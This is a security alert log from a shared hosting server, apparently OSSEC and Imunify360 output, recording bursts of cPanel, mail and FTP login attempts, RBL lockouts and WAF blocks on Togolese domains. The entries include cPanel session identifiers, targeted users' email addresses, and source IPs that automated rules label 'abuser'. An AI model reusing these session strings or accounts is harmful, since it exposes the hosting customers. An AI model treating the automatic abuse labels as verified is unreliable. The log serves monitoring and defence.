[2026-06-06 22:11:57 +0000] info [cpaneld] 5.230.153.154 NEW lfzqsiwv:H5mcx10Bun9OFhsm address=5.230.153.154,app=cpaneld,creator=lfzqsiwv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.43
country_id: 6252001
description:
[2026-06-06 22:12:54 +0000] info [cpaneld] 107.175.5.43 NEW zsfyjiji:FdQJXL8wQL22VkAa address=107.175.5.43,app=cpaneld,creator=zsfyjiji,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.11.236
country_id: 2287781
description:
2026-06-06 22:13:00 dovecot_login authenticator failed for H=(ELISABETH) [102.207.11.236]:1408: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.88.153
country_id: 6252001
description:
[2026-06-06 22:13:30 +0000] info [cpaneld] 173.211.88.153 NEW nadngfzn:dKUupDx0EyWS2cgH address=173.211.88.153,app=cpaneld,creator=nadngfzn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.89
country_id: 2635167
description:
[2026-06-06 22:14:33 +0000] info [cpaneld] 5.230.133.89 NEW udkscvak:_MofkfadKU65IXYq address=5.230.133.89,app=cpaneld,creator=udkscvak,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.135
country_id: 2635167
description:
[2026-06-06 22:14:45 +0000] info [cpaneld] 5.230.133.135 - himcuijv "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: User himcuijv has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.50.185.158
country_id: 1605651
description:
[2026-06-06 22:13:53 +0000] info [whostmgrd] 209.50.185.158 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.192
country_id: 2921044
description:
[2026-06-06 22:13:55 +0000] info [cpaneld] 5.175.229.192 NEW mbyqtkiw:bBVnNRxzO41CqSXd address=5.175.229.192,app=cpaneld,creator=mbyqtkiw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.11.236
country_id: 2287781
description:
2026-06-06 22:14:01 dovecot_login authenticator failed for H=(ELISABETH) [102.207.11.236]:1408: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.219
country_id: 2635167
description:
[2026-06-06 22:15:12 +0000] info [cpaneld] 5.230.153.219 NEW vefzejhd:I5eXHqmwUSXOSe8S address=5.230.153.219,app=cpaneld,creator=vefzejhd,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.158
country_id: 2635167
description:
[2026-06-06 22:15:17 +0000] info [cpaneld] 5.230.133.158 NEW cietg:amfcLfoXBuCAfFvq address=5.230.133.158,app=cpaneld,creator=cietg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.174
country_id: 3017382
description:
[2026-06-06 22:15:35 +0000] info [cpaneld] 5.231.255.174 NEW egjvuiox:nZWnk1UD1h3wguy1 address=5.231.255.174,app=cpaneld,creator=egjvuiox,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.44.59.184
country_id: 6252001
description:
[2026-06-06 22:14:54 +0000] info [cpaneld] 64.44.59.184 - hsufgiqg "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: User hsufgiqg has their account suspended. Login blocked.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.11.236
country_id: 2287781
description:
2026-06-06 22:15:01 dovecot_login authenticator failed for H=(ELISABETH) [102.207.11.236]:22528: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.114
country_id: 2635167
description:
[2026-06-06 22:15:06 +0000] info [cpaneld] 5.230.153.114 - zgqykfsi "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-06 22:16:29 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:28702: 535 Incorrect authentication data (set_id=asus)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-06 22:16:29 +0000] info [cpaneld] 185.213.83.243 - conseiller "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseiller (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.163
country_id: 3017382
description:
[2026-06-06 22:15:56 +0000] info [cpaneld] 5.231.255.163 NEW cafetg:3DhBBK9drARJHcf9 address=5.231.255.163,app=cpaneld,creator=cafetg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.226
country_id: 2635167
description:
[2026-06-06 22:16:01 +0000] info [cpaneld] 5.230.153.226 NEW cafeitadm:Id1LOfhS2RC43LoH address=5.230.153.226,app=cpaneld,creator=cafeitadm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  6 22:16:27 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 77.90.185.41
country_id: 130758
description:
Jun  6 22:16:44 ns5 pure-ftpd[3163282]: (?@77.90.185.41) [WARNING] Authentication failed for user [cafeit]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.11.236
country_id: 2287781
description:
2026-06-06 22:16:03 dovecot_login authenticator failed for H=(ELISABETH) [102.207.11.236]:27776: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 216.189.152.238
country_id: 6252001
description:
[2026-06-06 22:16:22 +0000] info [cpaneld] 216.189.152.238 NEW camaegdtomgo:wBRM1HkIIALxPyjk address=216.189.152.238,app=cpaneld,creator=camaegdtomgo,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.212
country_id: 2635167
description:
[2026-06-06 22:17:11 +0000] info [cpaneld] 5.230.133.212 - centif "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.68
country_id: 3017382
description:
[2026-06-06 22:17:15 +0000] info [cpaneld] 5.231.64.68 NEW uzomgvkg:S40mfXxmy0BWsEJm address=5.231.64.68,app=cpaneld,creator=uzomgvkg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.179
country_id: 2635167
description:
[2026-06-06 22:17:05 +0000] info [cpaneld] 5.230.153.179 - muzsajnk "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.11.236
country_id: 2287781
description:
2026-06-06 22:17:06 dovecot_login authenticator failed for H=(ELISABETH) [102.207.11.236]:14976: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.227
country_id: 2635167
description:
[2026-06-06 22:17:42 +0000] info [cpaneld] 5.230.153.227 - yxhnfwxr "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.225
country_id: 2635167
description:
[2026-06-06 22:18:25 +0000] info [cpaneld] 5.230.133.225 NEW nxpivbcy:1YonpjsdVXedLdZy address=5.230.133.225,app=cpaneld,creator=nxpivbcy,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.148
country_id: 2635167
description:
[2026-06-06 22:18:44 +0000] info [cpaneld] 5.230.133.148 - cloudetracks "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.18
country_id: 1269750
description:
Jun  6 22:18:47 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.18 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.68
country_id: 3017382
description:
[2026-06-06 22:17:55 +0000] info [cpaneld] 5.231.255.68 NEW cinemafreenetmas:VkMk4mIvOfauTllo address=5.231.255.68,app=cpaneld,creator=cinemafreenetmas,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.11.236
country_id: 2287781
description:
2026-06-06 22:18:05 dovecot_login authenticator failed for H=(ELISABETH) [102.207.11.236]:4608: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.11.236
country_id: 2287781
description:
2026-06-06 22:19:07 dovecot_login authenticator failed for H=(ELISABETH) [102.207.11.236]:10112: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.189.152.232
country_id: 6252001
description:
[2026-06-06 22:19:37 +0000] info [cpaneld] 216.189.152.232 - fnnjmavs "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.18
country_id: 1269750
description:
Jun  6 22:18:55 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.18 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.168
country_id: 3017382
description:
[2026-06-06 22:19:02 +0000] info [cpaneld] 5.231.64.168 NEW ygeaivhj:xO12JJGKOaqIpDc1 address=5.231.64.168,app=cpaneld,creator=ygeaivhj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.64
country_id: 2635167
description:
[2026-06-06 22:20:17 +0000] info [cpaneld] 5.230.133.64 - crrhuemo "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 5.157.14.229
country_id: 2963597
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-20.5.157.14.229||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.196.222.156
country_id: 453733
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-20.196.196.222.156||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.42
country_id: 2635167
description:
[2026-06-06 22:20:02 +0000] info [cpaneld] 5.230.153.42 - wcdxbboq "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.100
country_id: 3017382
description:
[2026-06-06 22:20:07 +0000] info [cpaneld] 5.231.64.100 NEW crepsad:fASOvYNbcujE349T address=5.231.64.100,app=cpaneld,creator=crepsad,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.169
country_id: 6252001
description:
[2026-06-06 22:20:26 +0000] info [cpaneld] 64.44.62.169 NEW rbnbkmre:6MG6_e4ZqVdOG4RO address=64.44.62.169,app=cpaneld,creator=rbnbkmre,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 191.102.165.102
country_id: 2510769
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-20.191.102.165.102||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.18.175.240
country_id: 2782113
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-20.196.18.175.240||RSV:8.14||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 196.240.173.249
country_id: 798544
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:196.240.173.249||TA:196.240.173.249||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.11.236
country_id: 2287781
description:
2026-06-06 22:20:09 dovecot_login authenticator failed for H=(ELISABETH) [102.207.11.236]:21888: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.245
country_id: 3017382
description:
[2026-06-06 22:20:46 +0000] info [cpaneld] 5.231.255.245 NEW uljcqiuy:2zyrKNbGVWaSt0Sh address=5.231.255.245,app=cpaneld,creator=uljcqiuy,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.175.5.35
country_id: 6252001
description:
[2026-06-06 22:21:05 +0000] info [cpaneld] 107.175.5.35 - mvfxewjz "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.240
country_id: 2635167
description:
[2026-06-06 22:21:21 +0000] info [cpaneld] 5.230.133.240 NEW zykoahbv:_Rb7aFZ9GTDg3088 address=5.230.133.240,app=cpaneld,creator=zykoahbv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.229.179
country_id: 2921044
description:
[2026-06-06 22:21:32 +0000] info [cpaneld] 5.175.229.179 - dgdntogo "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.71
country_id: 6252001
description:
[2026-06-06 22:21:41 +0000] info [cpaneld] 64.44.59.71 NEW ohuuvcqw:EzGW24ctn_2oDlqI address=64.44.59.71,app=cpaneld,creator=ohuuvcqw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.71
country_id: 3469034
description:
Jun  6 22:21:46 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-06 22:21:50 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:44594: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.71
country_id: 3469034
description:
Jun  6 22:21:54 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.0.113.216
country_id: 2017370
description:
2026-06-06 22:22:25 H=([46.0.113.216]) [46.0.113.216]:64030 F=<John@4452.com> rejected RCPT <ag@togointerim.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  6 22:22:37 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-06 22:22:39 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:53878: 535 Incorrect authentication data (set_id=test17)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.175.5.84
country_id: 6252001
description:
[2026-06-06 22:22:03 +0000] info [cpaneld] 107.175.5.84 - bjwcjsqs "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: User bjwcjsqs has their account suspended. Login blocked.


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.88.116
country_id: 6252001
description:
[2026-06-06 22:22:15 +0000] info [cpaneld] 173.211.88.116 NEW ylhgcaui:tG5f9Sb4o1gf87M_ address=173.211.88.116,app=cpaneld,creator=ylhgcaui,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.229
country_id: 2635167
description:
[2026-06-06 22:22:38 +0000] info [cpaneld] 5.230.153.229 NEW edjatiapougloe:r_PL8SMuEqbvS4eN address=5.230.153.229,app=cpaneld,creator=edjatiapougloe,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 192.253.248.23
country_id: 130758
description:
Jun  6 22:23:45 ns5 pure-ftpd[3168562]: (?@192.253.248.23) [INFO] New connection from 192.253.248.23


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.233
country_id: 3017382
description:
[2026-06-06 22:23:41 +0000] info [cpaneld] 5.231.255.233 NEW uypcrwbr:SbNGcF72TGcAxUds address=5.231.255.233,app=cpaneld,creator=uypcrwbr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.175.5.35
country_id: 6252001
description:
[2026-06-06 22:23:10 +0000] info [cpaneld] 107.175.5.35 - uubplgpf "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.33
country_id: 2635167
description:
[2026-06-06 22:23:16 +0000] info [cpaneld] 5.230.153.33 - vodvpozo "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.44.62.228
country_id: 6252001
description:
[2026-06-06 22:23:21 +0000] info [cpaneld] 64.44.62.228 - kygyhxkc "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.102
country_id: 6252001
description:
[2026-06-06 22:23:31 +0000] info [cpaneld] 64.44.59.102 NEW expirefreenetmas:vaMlwwEJV9yfTY45 address=64.44.59.102,app=cpaneld,creator=expirefreenetmas,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.108
country_id: 2635167
description:
[2026-06-06 22:24:02 +0000] info [cpaneld] 5.230.153.108 NEW njdbfcnn:lO3PKhjht4ez7oHd address=5.230.153.108,app=cpaneld,creator=njdbfcnn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.34
country_id: 2635167
description:
[2026-06-06 22:24:48 +0000] info [cpaneld] 5.230.133.34 NEW formationfreenet:b3AsuUIfSr6V8brs address=5.230.133.34,app=cpaneld,creator=formationfreenet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 192.253.248.23
country_id: 130758
description:
Jun  6 22:23:49 ns5 pure-ftpd[3168562]: (?@192.253.248.23) [WARNING] Authentication failed for user [conseilnsaftogo]


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.14
country_id: 2635167
description:
[2026-06-06 22:24:20 +0000] info [cpaneld] 5.230.133.14 NEW hnzwgoog:1Iaoly1nObXN4DdO address=5.230.133.14,app=cpaneld,creator=hnzwgoog,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.76.82.82
country_id: 2328926
description:
Jun  6 22:24:36 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.76.82.82 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.44.62.229
country_id: 6252001
description:
[2026-06-06 22:23:54 +0000] info [cpaneld] 64.44.62.229 - arsjawjaz "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.76.82.82
country_id: 2328926
description:
Jun  6 22:24:49 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.76.82.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.72.12.37
country_id: 3077311
description:
Jun  6 22:24:53 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.72.12.37 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 216.189.152.23
country_id: 6252001
description:
[2026-06-06 22:25:10 +0000] info [cpaneld] 216.189.152.23 NEW mgvybwur:KaRSU8zFadxXjF5J address=216.189.152.23,app=cpaneld,creator=mgvybwur,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.229
country_id: 6252001
description:
[2026-06-06 22:25:35 +0000] info [cpaneld] 107.174.169.229 NEW phoicdxb:PlVU5jMUEH1aBkYp address=107.174.169.229,app=cpaneld,creator=phoicdxb,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Tap Into Your Bonus Right Now sepoladi.blogspot.it q2||Email:Dannyray4187@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.229.201
country_id: 2921044
description:
[2026-06-06 22:25:30 +0000] info [cpaneld] 5.175.229.201 - tubobkfl "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:22-25.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.169
country_id: 2635167
description:
[2026-06-06 22:25:52 +0000] info [cpaneld] 5.230.153.169 NEW rdlizssu:LZqq5cTvGRz9CgX4 address=5.230.153.169,app=cpaneld,creator=rdlizssu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.42
country_id: 2635167
description:
[2026-06-06 22:26:04 +0000] info [cpaneld] 5.230.133.42 - jvrzfkho "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.240
country_id: 6252001
description:
[2026-06-06 22:26:41 +0000] info [cpaneld] 64.44.62.240 NEW fgbegmfv:UL4Q8igvK295ervI address=64.44.62.240,app=cpaneld,creator=fgbegmfv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.117
country_id: 2635167
description:
[2026-06-06 22:27:07 +0000] info [cpaneld] 5.230.133.117 NEW tubnyxbt:IHRA6BYr5Gw7NB4E address=5.230.133.117,app=cpaneld,creator=tubnyxbt,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.48
country_id: 2635167
description:
[2026-06-06 22:27:23 +0000] info [cpaneld] 5.230.153.48 NEW oviaiart:TsrwqbvLbLznVnpx address=5.230.153.48,app=cpaneld,creator=oviaiart,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.167
country_id: 2635167
description:
[2026-06-06 22:28:00 +0000] info [cpaneld] 5.230.153.167 NEW sayfuswa:2Dtm4axN0aumgPqi address=5.230.153.167,app=cpaneld,creator=sayfuswa,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.184.228.182
country_id: 3865483
description:
Jun  6 22:28:38 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.184.228.182 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.148
country_id: 2635167
description:
[2026-06-06 22:28:50 +0000] info [cpaneld] 5.230.133.148 NEW zmmjcejv:9In7Hwiq44NRwHOF address=5.230.133.148,app=cpaneld,creator=zmmjcejv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.179
country_id: 2635167
description:
[2026-06-06 22:28:58 +0000] info [cpaneld] 5.230.153.179 NEW wcnyaruu:ysnLvvu0V4AcFeMC address=5.230.153.179,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.184.228.182
country_id: 3865483
description:
Jun  6 22:28:52 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.184.228.182 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.211.89.202
country_id: 6252001
description:
[2026-06-06 22:29:12 +0000] info [cpaneld] 173.211.89.202 - lhxhatyj "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.223
country_id: 2635167
description:
[2026-06-06 22:29:47 +0000] info [cpaneld] 5.230.133.223 NEW newglevfer:cllSYSwt1__FGqnx address=5.230.133.223,app=cpaneld,creator=newglevfer,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.164.68.83
country_id: 6252001
description:
Jun  6 22:30:15 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.164.68.83 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 192.253.248.18
country_id: 130758
description:
Jun  6 22:30:18 ns5 pure-ftpd[3173521]: (?@192.253.248.18) [WARNING] Authentication failed for user [togocarrieretsevie]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.164.68.83
country_id: 6252001
description:
2026-06-06 22:30:17 dovecot_plain authenticator failed for H=c-67-164-68-83.hsd1.ca.comcast.net (localhost) [67.164.68.83]:52990: 535 Incorrect authentication data (set_id=xusylumo@sodigaz.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.136
country_id: 2635167
description:
[2026-06-06 22:30:03 +0000] info [cpaneld] 5.230.153.136 NEW nmvhuvgp:ZcG3acAenAZ3ujZR address=5.230.153.136,app=cpaneld,creator=nmvhuvgp,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 192.253.248.18
country_id: 130758
description:
Jun  6 22:30:14 ns5 pure-ftpd[3173521]: (?@192.253.248.18) [INFO] New connection from 192.253.248.18


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.4
country_id: 3017382
description:
[2026-06-06 22:30:17 +0000] info [cpaneld] 5.231.64.4 NEW pnlpzmfv:eLkHaCO4KoXuUoOi address=5.231.64.4,app=cpaneld,creator=pnlpzmfv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 216.189.152.232
country_id: 6252001
description:
[2026-06-06 22:31:28 +0000] info [cpaneld] 216.189.152.232 NEW lhqeyybr:Ax2j2n4BjYJxGCC2 address=216.189.152.232,app=cpaneld,creator=lhqeyybr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.175.5.140
country_id: 6252001
description:
[2026-06-06 22:33:10 +0000] info [cpaneld] 107.175.5.140 - jmtctoni "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.202
country_id: 6252001
description:
[2026-06-06 22:33:17 +0000] info [cpaneld] 173.211.89.202 NEW ebbmnmtd:iYprbs3leVMk5oNy address=173.211.89.202,app=cpaneld,creator=ebbmnmtd,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.215
country_id: 2635167
description:
[2026-06-06 22:34:19 +0000] info [cpaneld] 5.230.133.215 NEW tqbcalqt:sEM01yLq4NdQL8h3 address=5.230.133.215,app=cpaneld,creator=tqbcalqt,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.199.12
country_id: 2413451
description:
Jun  6 22:34:42 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.199.12 has been locked due to Imunify RBL


plugin: ossec
